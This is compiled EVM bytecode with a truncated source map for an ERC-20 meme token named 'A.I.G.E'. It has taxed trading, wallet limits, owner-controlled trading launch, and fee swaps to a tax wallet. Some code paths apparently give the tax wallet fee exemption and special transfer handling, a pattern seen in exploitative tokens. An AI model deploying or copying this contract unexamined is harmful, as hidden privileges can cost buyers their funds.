0x608060405260043610610129575f3560e01c80637d1db4a5116100a8578063bf474bed1161006d578063bf474bed14610318578063c816841b1461032d578063c9567bf91461034c578063dd62ed3e14610360578063e28d717b146103a4578063f2fde38b146103b8575f80fd5b80637d1db4a5146102705780638da5cb5b146102855780638f9a55c0146102b557806395d89b41146102ca578063a9059cbb146102f9575f80fd5b8063313ce567116100ee578063313ce567146101e357806351bc3c85146101fe57806370a0823114610214578063715018a614610248578063751039fc1461025c575f80fd5b806306fdde0314610134578063095ea7b31461015e5780630faee56f1461018d57806318160ddd146101b057806323b872dd146101c4575f80fd5b3661013057005b5f80fd5b34801561013f575f80fd5b506101486103d7565b604051610155919061182b565b60405180910390f35b348015610169575f80fd5b5061017d61017836600461188b565b6103f7565b6040519015158152602001610155565b348015610198575f80fd5b506101a2600f5481565b604051908152602001610155565b3480156101bb575f80fd5b506101a261040d565b3480156101cf575f80fd5b5061017d6101de3660046118b5565b61042d565b3480156101ee575f80fd5b5060405160098152602001610155565b348015610209575f80fd5b50610212610494565b005b34801561021f575f80fd5b506101a261022e3660046118f3565b6001600160a01b03165f9081526001602052604090205490565b348015610253575f80fd5b506102126104e5565b348015610267575f80fd5b50610212610522565b34801561027b575f80fd5b506101a2600c5481565b348015610290575f80fd5b505f546001600160a01b03165b6040516001600160a01b039091168152602001610155565b3480156102c0575f80fd5b506101a2600d5481565b3480156102d5575f80fd5b50604080518082019091526007815266412e492e472e4560c81b6020820152610148565b348015610304575f80fd5b5061017d61031336600461188b565b6105e0565b348015610323575f80fd5b506101a2600e5481565b348015610338575f80fd5b5060145461029d906001600160a01b031681565b348015610357575f80fd5b506102126105ec565b34801561036b575f80fd5b506101a261037a36600461190e565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b3480156103af575f80fd5b506102126109e1565b3480156103c3575f80fd5b506102126103d23660046118f3565b610a43565b6060604051806060016040528060318152602001611bdb60319139905090565b5f610403338484610ada565b5060015b92915050565b5f61041a6009600a611a39565b61042890633b9aca00611a47565b905090565b5f610439848484610bfe565b61048a843361048585604051806060016040528060288152602001611c0c602891396001600160a01b038a165f90815260026020908152604080832033845290915290205491906111c4565b610ada565b5060019392505050565b6013546001600160a01b0316336001600160a01b0316146104b3575f80fd5b305f9081526001602052604090205480156104d1576104d1816111fc565b4780156104e1576104e1816113d2565b5050565b5f546001600160a01b031633146105175760405162461bcd60e51b815260040161050e90611a5e565b60405180910390fd5b6105205f611409565b565b5f546001600160a01b0316331461054b5760405162461bcd60e51b815260040161050e90611a5e565b6014805460ff60b81b191690556105646009600a611a39565b61057290633b9aca00611a47565b600c556105816009600a611a39565b61058f90633b9aca00611a47565b600d557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6105bf6009600a611a39565b6105cd90633b9aca00611a47565b60405190815260200160405180910390a1565b5f610403338484610bfe565b5f546001600160a01b031633146106155760405162461bcd60e51b815260040161050e90611a5e565b601454600160a01b900460ff161561066f5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161050e565b6014805460ff60b01b1916600160b01b1790556106c1307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6106b36009600a611a39565b61048590633b9aca00611a47565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561071d573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107419190611a93565b6001600160a01b031663c9c65396307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107ac573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107d09190611a93565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af115801561081a573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061083e9190611a93565b601480546001600160a01b0319166001600160a01b03928316179055305f818152600160205260409020547f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d9092169163f305d7199147915f806108a95f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af115801561090f573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906109349190611aae565b505060145460405163095ea7b360e01b81526001600160a01b037f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d811660048301525f196024830152909116915063095ea7b3906044016020604051808303815f875af11580156109a7573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109cb9190611ad9565b506014805460ff60a01b1916600160a01b179055565b5f546001600160a01b03163314610a0a5760405162461bcd60e51b815260040161050e90611a5e565b6013546040516001600160a01b03909116904780156108fc02915f818181858888f19350505050158015610a40573d5f803e3d5ffd5b50565b5f546001600160a01b03163314610a6c5760405162461bcd60e51b815260040161050e90611a5e565b6001600160a01b038116610ad15760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161050e565b610a4081611409565b6001600160a01b038316610b3c5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161050e565b6001600160a01b038216610b9d5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161050e565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610c625760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161050e565b6001600160a01b038216610cc45760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161050e565b5f8111610d255760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161050e565b601454600160b01b900460ff161580610d475750601454600160a81b900460ff165b15610d5c57610d57838383611458565b505050565b5f80546001600160a01b03858116911614801590610d8757505f546001600160a01b03848116911614155b8015610da157506013546001600160a01b03848116911614155b1561103057610dd26064610dcc600854600b5411610dc157600454610dc5565b6006545b85906114fb565b90611580565b6014549091506001600160a01b038581169116148015610e2457507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b0316836001600160a01b031614155b8015610e4857506001600160a01b0383165f9081526003602052604090205460ff16155b15610f4057601454600160b81b900460ff1615610f2b57600c54821115610eb15760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e00000000000000604482015260640161050e565b600d5482610ed3856001600160a01b03165f9081526001602052604090205490565b610edd9190611af8565b1115610f2b5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e000000000000604482015260640161050e565b600b8054905f610f3a83611b0b565b91905055505b6014546001600160a01b038481169116148015610f6657506001600160a01b0384163014155b15610f9357610f906064610dcc600954600b5411610f8657600554610dc5565b60075485906114fb565b90505b305f90815260016020526040902054601454600160a81b900460ff16158015610fc957506014546001600160a01b038581169116145b8015610fde5750601454600160b01b900460ff165b8015610feb5750600e5481115b8015610ffa5750600a54600b54115b1561102e5761101c6110178461101284600f546115c1565b6115c1565b6111fc565b47801561102c5761102c476113d2565b505b505b6001600160a01b0384165f9081526003602052604090205460ff168061106d57506001600160a01b0383165f9081526003602052604090205460ff165b801561108257506001600160a01b0384163014155b801561109757506001600160a01b0383163014155b156110a157436010555b6001600160a01b0384165f9081526003602052604090205460ff161580156110e157506001600160a01b0383165f9081526003602052604090205460ff16155b156111b2576014546001600160a01b03848116911614611180576001600160a01b038084165f9081526011602052604090206014549091908116908616036111485780545f0361114357600a54600b54111561113d5743611140565b5f195b81555b61117a565b6001600160a01b0385165f9081526011602052604090208154158061116e575081548154105b1561117857805482555b505b506111b2565b6001600160a01b0384165f90815260116020526040902060105481546111a5916115d5565b6001820155436002909101555b6111be84848484611616565b50505050565b5f81848411156111e75760405162461bcd60e51b815260040161050e919061182b565b505f6111f38486611b23565b95945050505050565b6014805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061124257611242611b36565b60200260200101906001600160a01b031690816001600160a01b0316815250507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156112be573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906112e29190611a93565b816001815181106112f5576112f5611b36565b60200260200101906001600160a01b031690816001600160a01b031681525050611340307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d84610ada565b60405163791ac94760e01b81526001600160a01b037f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d169063791ac947906113949085905f90869030904290600401611b4a565b5f604051808303815f87803b1580156113ab575f80fd5b505af11580156113bd573d5f803e3d5ffd5b50506014805460ff60a81b1916905550505050565b6013546040516001600160a01b039091169082156108fc029083905f818181858888f193505050501580156104e1573d5f803e3d5ffd5b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b0383165f9081526001602052604090205461147a90826115d5565b6001600160a01b038085165f9081526001602052604080822093909355908416815220546114a89082611640565b6001600160a01b038084165f8181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610bf19085815260200190565b5f825f0361150a57505f610407565b5f6115158385611a47565b9050826115228583611bbb565b146115795760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161050e565b9392505050565b5f61157983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061169e565b5f8183116115cf5782611579565b50919050565b5f61157983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111c4565b5f6116228583856116ca565b905061163985858361163487876115d5565b61177a565b5050505050565b5f8061164c8385611af8565b9050838110156115795760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161050e565b5f81836116be5760405162461bcd60e51b815260040161050e919061182b565b505f6111f38486611bbb565b6013545f9081906001600160a01b03908116908616036116f6576012546116f190846114fb565b6116f8565b825b9050831561177257305f908152600160205260409020546117199085611640565b305f81815260016020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906117699088815260200190565b60405180910390a35b949350505050565b6001600160a01b0384165f9081526001602052604090205461179c90836115d5565b6001600160a01b038086165f9081526001602052604080822093909355908516815220546117ca9082611640565b6001600160a01b038085165f8181526001602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061181d9085815260200190565b60405180910390a350505050565b5f602080835283518060208501525f5b818110156118575785810183015185820160400152820161183b565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610a40575f80fd5b5f806040838503121561189c575f80fd5b82356118a781611877565b946020939093013593505050565b5f805f606084860312156118c7575f80fd5b83356118d281611877565b925060208401356118e281611877565b929592945050506040919091013590565b5f60208284031215611903575f80fd5b813561157981611877565b5f806040838503121561191f575f80fd5b823561192a81611877565b9150602083013561193a81611877565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561199357815f190482111561197957611979611945565b8085161561198657918102915b93841c939080029061195e565b509250929050565b5f826119a957506001610407565b816119b557505f610407565b81600181146119cb57600281146119d5576119f1565b6001915050610407565b60ff8411156119e6576119e6611945565b50506001821b610407565b5060208310610133831016604e8410600b8410161715611a14575081810a610407565b611a1e8383611959565b805f1904821115611a3157611a31611945565b029392505050565b5f61157960ff84168361199b565b808202811582820484141761040757610407611945565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f60208284031215611aa3575f80fd5b815161157981611877565b5f805f60608486031215611ac0575f80fd5b8351925060208401519150604084015190509250925092565b5f60208284031215611ae9575f80fd5b81518015158114611579575f80fd5b8082018082111561040757610407611945565b5f60018201611b1c57611b1c611945565b5060010190565b8181038181111561040757610407611945565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b81811015611b9a5784516001600160a01b031683529383019391830191600101611b75565b50506001600160a01b03969096166060850152505050608001529392505050565b5f82611bd557634e487b7160e01b5f52601260045260245ffd5b50049056fe4172746966696369616c20496e74656c6c6967656e636520666f7220476f7665726e6d656e7420456666696369656e637945524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122013244fe2b06d08c6bbc64c430b01037754984fdd9433f8c1043895bbe4d8f77364736f6c63430008170033

3783:10041:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5946:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6779:161;;;;;;;;;;-1:-1:-1;6779:161:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;6779:161:0;1023:187:1;4831:52:0;;;;;;;;;;;;;;;;;;;1361:25:1;;;1349:2;1334:18;4831:52:0;1215:177:1;6223:95:0;;;;;;;;;;;;;:::i;6948:313::-;;;;;;;;;;-1:-1:-1;6948:313:0;;;;;:::i;:::-;;:::i;6132:83::-;;;;;;;;;;-1:-1:-1;6132:83:0;;4563:1;2000:36:1;;1988:2;1973:18;6132:83:0;1858:184:1;12889:354:0;;;;;;;;;;;;;:::i;:::-;;6326:119;;;;;;;;;;-1:-1:-1;6326:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;6419:18:0;6392:7;6419:18;;;:9;:18;;;;;;;6326:119;1795:94;;;;;;;;;;;;;:::i;12439:194::-;;;;;;;;;;;;;:::i;4641:55::-;;;;;;;;;;;;;;;;1298:87;;;;;;;;;;-1:-1:-1;1344:7:0;1371:6;-1:-1:-1;;;;;1371:6:0;1298:87;;;-1:-1:-1;;;;;2463:32:1;;;2445:51;;2433:2;2418:18;1298:87:0;2299:203:1;4703:56:0;;;;;;;;;;;;;;;;6037:87;;;;;;;;;;-1:-1:-1;6109:7:0;;;;;;;;;;;;-1:-1:-1;;;6109:7:0;;;;6037:87;;6453:167;;;;;;;;;;-1:-1:-1;6453:167:0;;;;;:::i;:::-;;:::i;4766:58::-;;;;;;;;;;;;;;;;5188:26;;;;;;;;;;-1:-1:-1;5188:26:0;;;;-1:-1:-1;;;;;5188:26:0;;;13251:568;;;;;;;;;;;;;:::i;6628:143::-;;;;;;;;;;-1:-1:-1;6628:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;6736:18:0;;;6709:7;6736:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6628:143;12778:103;;;;;;;;;;;;;:::i;1558:229::-;;;;;;;;;;-1:-1:-1;1558:229:0;;;;;:::i;:::-;;:::i;5946:83::-;5983:13;6016:5;;;;;;;;;;;;;;;;;6009:12;;5946:83;:::o;6779:161::-;6854:4;6871:39;173:10;6894:7;6903:6;6871:8;:39::i;:::-;-1:-1:-1;6928:4:0;6779:161;;;;;:::o;6223:95::-;6276:7;4619:13;4563:1;4619:2;:13;:::i;:::-;4606:26;;:10;:26;:::i;:::-;6296:14;;6223:95;:::o;6948:313::-;7046:4;7063:36;7073:6;7081:9;7092:6;7063:9;:36::i;:::-;7110:121;7119:6;173:10;7141:89;7179:6;7141:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7141:19:0;;;;;;:11;:19;;;;;;;;173:10;7141:33;;;;;;;;;;:37;:89::i;:::-;7110:8;:121::i;:::-;-1:-1:-1;7249:4:0;6948:313;;;;;:::o;12889:354::-;12953:10;;-1:-1:-1;;;;;12953:10:0;173;-1:-1:-1;;;;;12939:24:0;;12931:33;;;;;;13016:4;12975:20;6419:18;;;:9;:18;;;;;;13036:14;;13033:73;;13064:30;13081:12;13064:16;:30::i;:::-;13137:21;13172:12;;13169:67;;13200:24;13213:10;13200:12;:24::i;:::-;12920:323;;12889:354::o;1795:94::-;1344:7;1371:6;-1:-1:-1;;;;;1371:6:0;173:10;1447:23;1425:105;;;;-1:-1:-1;;;1425:105:0;;;;;;;:::i;:::-;;;;;;;;;1860:21:::1;1878:1;1860:9;:21::i;:::-;1795:94::o:0;12439:194::-;1344:7;1371:6;-1:-1:-1;;;;;1371:6:0;173:10;1447:23;1425:105;;;;-1:-1:-1;;;1425:105:0;;;;;;;:::i;:::-;12495:14:::1;:21:::0;;-1:-1:-1;;;;12495:21:0::1;::::0;;4619:13:::1;4563:1;4619:2;:13;:::i;:::-;4606:26;::::0;:10:::1;:26;:::i;:::-;12527:12;:21:::0;4619:13:::1;4563:1;4619:2;:13;:::i;:::-;4606:26;::::0;:10:::1;:26;:::i;:::-;12559:14;:23:::0;12598:27:::1;4619:13;4563:1;4619:2;:13;:::i;:::-;4606:26;::::0;:10:::1;:26;:::i;:::-;12598:27;::::0;1361:25:1;;;1349:2;1334:18;12598:27:0::1;;;;;;;12439:194::o:0;6453:167::-;6531:4;6548:42;173:10;6572:9;6583:6;6548:9;:42::i;13251:568::-;1344:7;1371:6;-1:-1:-1;;;;;1371:6:0;173:10;1447:23;1425:105;;;;-1:-1:-1;;;1425:105:0;;;;;;;:::i;:::-;13315:11:::1;::::0;-1:-1:-1;;;13315:11:0;::::1;;;13314:12;13306:47;;;::::0;-1:-1:-1;;;13306:47:0;;5145:2:1;13306:47:0::1;::::0;::::1;5127:21:1::0;5184:2;5164:18;;;5157:30;5223:25;5203:18;;;5196:53;5266:18;;13306:47:0::1;4943:347:1::0;13306:47:0::1;13364:11;:16:::0;;-1:-1:-1;;;;13364:16:0::1;-1:-1:-1::0;;;13364:16:0::1;::::0;;13391:56:::1;13408:4;13422:15;4619:13;4563:1;4619:2;:13;:::i;:::-;4606:26;::::0;:10:::1;:26;:::i;13391:56::-;13490:15;-1:-1:-1::0;;;;;13490:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;13472:55:0::1;;13536:4;13542:15;-1:-1:-1::0;;;;;13542:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13472:93;::::0;-1:-1:-1;;;;;;13472:93:0::1;::::0;;;;;;-1:-1:-1;;;;;5781:15:1;;;13472:93:0::1;::::0;::::1;5763:34:1::0;5833:15;;5813:18;;;5806:43;5698:18;;13472:93:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13458:11;:107:::0;;-1:-1:-1;;;;;;13458:107:0::1;-1:-1:-1::0;;;;;13458:107:0;;::::1;;::::0;;13646:4:::1;-1:-1:-1::0;6419:18:0;;;-1:-1:-1;6419:18:0;;;;;;13576:15:::1;:31:::0;;::::1;::::0;::::1;::::0;13615:21:::1;::::0;13677:1:::1;13679::::0;13681:7:::1;1344::::0;1371:6;-1:-1:-1;;;;;1371:6:0;;1298:87;13681:7:::1;13576:129;::::0;::::1;::::0;;;-1:-1:-1;;;;;;13576:129:0;;;-1:-1:-1;;;;;6219:15:1;;;13576:129:0::1;::::0;::::1;6201:34:1::0;6251:18;;;6244:34;;;;6294:18;;;6287:34;;;;6337:18;;;6330:34;6401:15;;;6380:19;;;6373:44;13689:15:0::1;6433:19:1::0;;;6426:35;6135:19;;13576:129:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;13723:11:0::1;::::0;13716:68:::1;::::0;-1:-1:-1;;;13716:68:0;;-1:-1:-1;;;;;13752:15:0::1;6975:32:1::0;;13716:68:0::1;::::0;::::1;6957:51:1::0;-1:-1:-1;;7024:18:1;;;7017:34;13723:11:0;;::::1;::::0;-1:-1:-1;13716:27:0::1;::::0;6930:18:1;;13716:68:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;13795:11:0::1;:16:::0;;-1:-1:-1;;;;13795:16:0::1;-1:-1:-1::0;;;13795:16:0::1;::::0;;13251:568::o;12778:103::-;1344:7;1371:6;-1:-1:-1;;;;;1371:6:0;173:10;1447:23;1425:105;;;;-1:-1:-1;;;1425:105:0;;;;;;;:::i;:::-;12831:10:::1;::::0;:42:::1;::::0;-1:-1:-1;;;;;12831:10:0;;::::1;::::0;12851:21:::1;12831:42:::0;::::1;;;::::0;:10:::1;:42:::0;:10;:42;12851:21;12831:10;:42;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;12778:103::o:0;1558:229::-;1344:7;1371:6;-1:-1:-1;;;;;1371:6:0;173:10;1447:23;1425:105;;;;-1:-1:-1;;;1425:105:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;1661:22:0;::::1;1639:110;;;::::0;-1:-1:-1;;;1639:110:0;;7546:2:1;1639:110:0::1;::::0;::::1;7528:21:1::0;7585:2;7565:18;;;7558:30;7624:34;7604:18;;;7597:62;-1:-1:-1;;;7675:18:1;;;7668:36;7721:19;;1639:110:0::1;7344:402:1::0;1639:110:0::1;1760:19;1770:8;1760:9;:19::i;7526:335::-:0;-1:-1:-1;;;;;7619:19:0;;7611:68;;;;-1:-1:-1;;;7611:68:0;;7953:2:1;7611:68:0;;;7935:21:1;7992:2;7972:18;;;7965:30;8031:34;8011:18;;;8004:62;-1:-1:-1;;;8082:18:1;;;8075:34;8126:19;;7611:68:0;7751:400:1;7611:68:0;-1:-1:-1;;;;;7698:21:0;;7690:68;;;;-1:-1:-1;;;7690:68:0;;8358:2:1;7690:68:0;;;8340:21:1;8397:2;8377:18;;;8370:30;8436:34;8416:18;;;8409:62;-1:-1:-1;;;8487:18:1;;;8480:32;8529:19;;7690:68:0;8156:398:1;7690:68:0;-1:-1:-1;;;;;7769:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7821:32;;1361:25:1;;;7821:32:0;;1334:18:1;7821:32:0;;;;;;;;7526:335;;;:::o;7869:2991::-;-1:-1:-1;;;;;7962:18:0;;7954:68;;;;-1:-1:-1;;;7954:68:0;;8761:2:1;7954:68:0;;;8743:21:1;8800:2;8780:18;;;8773:30;8839:34;8819:18;;;8812:62;-1:-1:-1;;;8890:18:1;;;8883:35;8935:19;;7954:68:0;8559:401:1;7954:68:0;-1:-1:-1;;;;;8041:16:0;;8033:64;;;;-1:-1:-1;;;8033:64:0;;9167:2:1;8033:64:0;;;9149:21:1;9206:2;9186:18;;;9179:30;9245:34;9225:18;;;9218:62;-1:-1:-1;;;9296:18:1;;;9289:33;9339:19;;8033:64:0;8965:399:1;8033:64:0;8130:1;8116:11;:15;8108:69;;;;-1:-1:-1;;;8108:69:0;;9571:2:1;8108:69:0;;;9553:21:1;9610:2;9590:18;;;9583:30;9649:34;9629:18;;;9622:62;-1:-1:-1;;;9700:18:1;;;9693:39;9749:19;;8108:69:0;9369:405:1;8108:69:0;8195:11;;-1:-1:-1;;;8195:11:0;;;;8194:12;;:22;;-1:-1:-1;8210:6:0;;-1:-1:-1;;;8210:6:0;;;;8194:22;8190:112;;;8233:36;8248:4;8254:2;8257:11;8233:14;:36::i;:::-;7869:2991;;;:::o;8190:112::-;8314:17;1371:6;;-1:-1:-1;;;;;8348:15:0;;;1371:6;;8348:15;;;;:32;;-1:-1:-1;1344:7:0;1371:6;-1:-1:-1;;;;;8367:13:0;;;1371:6;;8367:13;;8348:32;:49;;;;-1:-1:-1;8387:10:0;;-1:-1:-1;;;;;8383:14:0;;;8387:10;;8383:14;;8348:49;8344:1332;;;8424:82;8502:3;8424:73;8452:15;;8441:9;;:26;8440:56;;8482:14;;8440:56;;;8469:12;;8440:56;8424:11;;:15;:73::i;:::-;:77;;:82::i;:::-;8535:11;;8414:92;;-1:-1:-1;;;;;;8527:19:0;;;8535:11;;8527:19;:52;;;;;8563:15;-1:-1:-1;;;;;8550:29:0;:2;-1:-1:-1;;;;;8550:29:0;;;8527:52;:81;;;;-1:-1:-1;;;;;;8586:22:0;;;;;;:18;:22;;;;;;;;8584:24;8527:81;8523:436;;;8634:14;;-1:-1:-1;;;8634:14:0;;;;8630:284;;;8696:12;;8681:11;:27;;8673:90;;;;-1:-1:-1;;;8673:90:0;;9981:2:1;8673:90:0;;;9963:21:1;10020:2;10000:18;;;9993:30;10059:27;10039:18;;;10032:55;10104:18;;8673:90:0;9779:349:1;8673:90:0;8824:14;;8810:11;8794:13;8804:2;-1:-1:-1;;;;;6419:18:0;6392:7;6419:18;;;:9;:18;;;;;;;6326:119;8794:13;:27;;;;:::i;:::-;:44;;8786:108;;;;-1:-1:-1;;;8786:108:0;;10465:2:1;8786:108:0;;;10447:21:1;10504:2;10484:18;;;10477:30;10543:28;10523:18;;;10516:56;10589:18;;8786:108:0;10263:350:1;8786:108:0;8932:9;:11;;;:9;:11;;;:::i;:::-;;;;;;8523:436;8984:11;;-1:-1:-1;;;;;8978:17:0;;;8984:11;;8978:17;:41;;;;-1:-1:-1;;;;;;8999:20:0;;9014:4;8999:20;;8978:41;8975:175;;;9050:84;9130:3;9050:75;9077:16;;9067:9;;:26;9066:58;;9109:15;;9066:58;;;9095:13;;9050:11;;:15;:75::i;:84::-;9040:94;;8975:175;9215:4;9166:28;6419:18;;;:9;:18;;;;;;9241:6;;-1:-1:-1;;;9241:6:0;;;;9240:7;:28;;;;-1:-1:-1;9257:11:0;;-1:-1:-1;;;;;9251:17:0;;;9257:11;;9251:17;9240:28;:43;;;;-1:-1:-1;9272:11:0;;-1:-1:-1;;;9272:11:0;;;;9240:43;:87;;;;;9310:17;;9287:20;:40;9240:87;:121;;;;;9343:18;;9331:9;;:30;9240:121;9236:429;;;9382:74;9399:56;9403:11;9416:38;9420:20;9442:11;;9416:3;:38::i;:::-;9399:3;:56::i;:::-;9382:16;:74::i;:::-;9504:21;9548:22;;9544:106;;9595:35;9608:21;9595:12;:35::i;:::-;9363:302;9236:429;8399:1277;8344:1332;-1:-1:-1;;;;;9693:24:0;;;;;;:18;:24;;;;;;;;;:50;;-1:-1:-1;;;;;;9721:22:0;;;;;;:18;:22;;;;;;;;9693:50;9692:91;;;;-1:-1:-1;;;;;;9762:21:0;;9778:4;9762:21;;9692:91;:125;;;;-1:-1:-1;;;;;;9799:18:0;;9812:4;9799:18;;9692:125;9688:192;;;9856:12;9843:10;:25;9688:192;-1:-1:-1;;;;;9906:24:0;;;;;;:18;:24;;;;;;;;9904:26;:54;;;;-1:-1:-1;;;;;;9936:22:0;;;;;;:18;:22;;;;;;;;9934:24;9904:54;9900:893;;;9984:11;;-1:-1:-1;;;;;9978:17:0;;;9984:11;;9978:17;9974:808;;-1:-1:-1;;;;;10041:11:0;;;10017:21;10041:11;;;:7;:11;;;;;10083;;10041;;10083;;;10075:19;;;;10071:491;;10123:15;;;:20;10119:156;;10201:18;;10190:9;;:29;;:61;;10239:12;10190:61;;;-1:-1:-1;;10190:61:0;10172:79;;10119:156;10071:491;;;-1:-1:-1;;;;;10351:13:0;;10323:25;10351:13;;;:7;:13;;;;;10391:15;;:20;;:61;;-1:-1:-1;10437:15:0;;10415:19;;:37;10391:61;10387:156;;;10500:19;;10482:37;;10387:156;10300:262;10071:491;9998:579;9974:808;;;-1:-1:-1;;;;;10630:13:0;;10602:25;10630:13;;;:7;:13;;;;;10704:10;;10680:19;;:35;;:23;:35::i;:::-;10662:15;;;:53;10754:12;10734:17;;;;:32;9974:808;10805:47;10821:4;10826:2;10829:11;10841:9;10805:14;:47::i;:::-;7943:2917;7869:2991;;;:::o;2503:190::-;2589:7;2625:12;2617:6;;;;2609:29;;;;-1:-1:-1;;;2609:29:0;;;;;;;;:::i;:::-;-1:-1:-1;2649:9:0;2661:5;2665:1;2661;:5;:::i;:::-;2649:17;2503:190;-1:-1:-1;;;;;2503:190:0:o;11950:481::-;5450:6;:13;;-1:-1:-1;;;;5450:13:0;-1:-1:-1;;;5450:13:0;;;12052:16:::1;::::0;;12066:1:::1;12052:16:::0;;;;;::::1;::::0;;-1:-1:-1;;12052:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;12052:16:0::1;12028:40;;12097:4;12079;12084:1;12079:7;;;;;;;;:::i;:::-;;;;;;:23;-1:-1:-1::0;;;;;12079:23:0::1;;;-1:-1:-1::0;;;;;12079:23:0::1;;;::::0;::::1;12123:15;-1:-1:-1::0;;;;;12123:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12113:4;12118:1;12113:7;;;;;;;;:::i;:::-;;;;;;:32;-1:-1:-1::0;;;;;12113:32:0::1;;;-1:-1:-1::0;;;;;12113:32:0::1;;;::::0;::::1;12156:60;12173:4;12187:15;12204:11;121